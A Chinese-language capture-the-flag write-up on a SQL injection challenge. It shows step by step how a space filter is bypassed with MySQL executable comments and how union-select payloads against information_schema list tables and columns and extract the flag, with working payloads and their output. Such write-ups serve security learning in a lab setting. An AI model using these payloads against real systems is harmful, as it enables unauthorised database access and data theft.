1.首先尝试单引号是否被过滤，输入单引号提交后返回如下错误信息，证明单引号未被过滤。而且我们知道了后台使用的是 MySQL 数据库！

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

2.尝试一下万能密码，输入 ' or '1'='1 ，返回如下信息，说明输入的字符串中包含被过滤的字段。

SQLi detected!

3.经多次输入尝试发现单引号之后只要跟了空格就会返回"SQLi detected!"，说明空格被过滤。

4.用可执行注释包裹空格，再次尝试万能密码 '/*! */or/*! */'1'='1 ，成功返回如下信息，ID 明显是我们输入的字段，name 则是从数据库中返回的信息。猜测后台的 SQL 语句只会返回一列的信息。

ID: ' or '1'='1

ID: '/*! */or/*! */'1'='1

name: baloteli

ID: '/*! */or/*! */'1'='1

name: kanawaluo

ID: '/*! */or/*! */'1'='1

name: dengdeng

4.查看数据库的表信息，输入 '/*! */union/*! */select/*! */table_name/*! */from/*! */information_schema.tables/*! */where/*! */'1'='1 ，成功返回所有表名，发现有个叫 flag 的表！

5.查看 flag 表的所有列名，输入'/*! */union/*! */select/*! */column_name/*! */from/*! */information_schema.columns/*! */where/*! */table_name='flag，成功返回所有列名，发现有一个叫 flag 的字段！

ID: '/*! */union/*! */select/*! */column_name/*! */from/*!
/information_schema.columns/! */where/*! */table_name='flag

name: flag

ID: '/*! */union/*! */select/*! */column_name/*! */from/*!
/information_schema.columns/! */where/*! */table_name='flag

name: id

6.查看 flag 表的所有 flag，输入 '/*! */union/*! */select/*! */flag/*! */from/*! */flag/*! */where/*! */''=' （注意输入前后无空格），成功得到答案！

ID: '/*! */union/*! */select/*! */flag/*! */from/*! */flag/*! */where/*! */''='

name: flag{**********}